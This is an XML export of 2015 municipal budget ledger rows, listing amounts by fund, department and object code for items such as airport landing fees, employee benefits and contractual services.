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<row _id="15383"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>555030.0</object><object_description>EMPLOYEE MEDICAL EXAMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>36972.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>36972.0</total></row>
<row _id="15384"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407861.0</object><object_description>VENDING MACH SALES-VAP</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
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<row _id="15386"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2894.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2894.0</total></row>
<row _id="15387"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2281.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2281.0</total></row>
<row _id="15388"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2903.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2903.0</total></row>
<row _id="15389"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402110.0</object><object_description>AIRPORT - HANGAR RENTAL</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-25425.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-25425.0</total></row>
<row _id="15390"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402130.0</object><object_description>AIRPORT - LAND LEASE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-1139103.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1139103.0</total></row>
<row _id="15391"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402161.0</object><object_description>NOISE ABATEMENT - AIRPORT</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-36000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-36000.0</total></row>
<row _id="15392"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402170.0</object><object_description>LANDING FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-1200000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1200000.0</total></row>
<row _id="15393"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>122236.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>122236.0</total></row>
<row _id="15394"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3260.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3260.0</total></row>
<row _id="15395"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>11433.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11433.0</total></row>
<row _id="15396"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>13580.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13580.0</total></row>
<row _id="15397"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>20768.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20768.0</total></row>
<row _id="15398"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>222997.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>222997.0</total></row>
<row _id="15399"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6761.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6761.0</total></row>
<row _id="15400"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>860.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>860.0</total></row>
<row _id="15401"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>648.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>648.0</total></row>
<row _id="15402"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1927.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1927.0</total></row>
<row _id="15403"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>55</fund_id><fund_name>Info Tech Rplcmnt &amp; Svcs Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>407250.0</object><object_description>TELECOMMUNICATIONS SERVICES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-526257.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-526257.0</total></row>
<row _id="15404"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>17700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17700.0</total></row>
<row _id="15405"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3054.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3054.0</total></row>
<row _id="15406"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>18594.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18594.0</total></row>
<row _id="15407"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3199.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3199.0</total></row>
<row _id="15408"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>944850.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>944850.0</total></row>
<row _id="15409"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577704.0</object><object_description>PROP A REIMB-BUS STOP/SHELTER</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>60000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>60000.0</total></row>
<row _id="15410"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402140.0</object><object_description>AIRPORT - TIE DOWN CHARGES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-123063.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-123063.0</total></row>
<row _id="15411"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>613896.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>613896.0</total></row>
<row _id="15412"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522150.0</object><object_description>STORMWATER MANAGEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>77317.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>77317.0</total></row>
<row _id="15413"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522620.0</object><object_description>RENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15414"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2661.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2661.0</total></row>
<row _id="15415"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522920.0</object><object_description>VEHICLES - REPAIRS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15416"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>131.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>131.0</total></row>
<row _id="15417"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4257.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4257.0</total></row>
<row _id="15418"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>41509.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41509.0</total></row>
<row _id="15419"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>414347.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>414347.0</total></row>
<row _id="15420"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>407950.0</object><object_description>TRAINING GREEN BUILDING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-1100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1100.0</total></row>
<row _id="15421"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1848266.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1848266.0</total></row>
<row _id="15422"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>YEAR-END CASH OUTS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15423"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>18478.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18478.0</total></row>
<row _id="15424"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15415.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15415.0</total></row>
<row _id="15425"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>532.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>532.0</total></row>
<row _id="15426"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522940.0</object><object_description>VEHICLES-INSURANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15427"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>637.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>637.0</total></row>
<row _id="15428"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8556.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8556.0</total></row>
<row _id="15429"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4257.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4257.0</total></row>
<row _id="15430"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>560010.0</object><object_description>SCADA O &amp; M</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>30540.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30540.0</total></row>
<row _id="15431"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object xsi:nil="true" /><object_description>MEDICAL-RETIREE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15432"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>356.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>356.0</total></row>
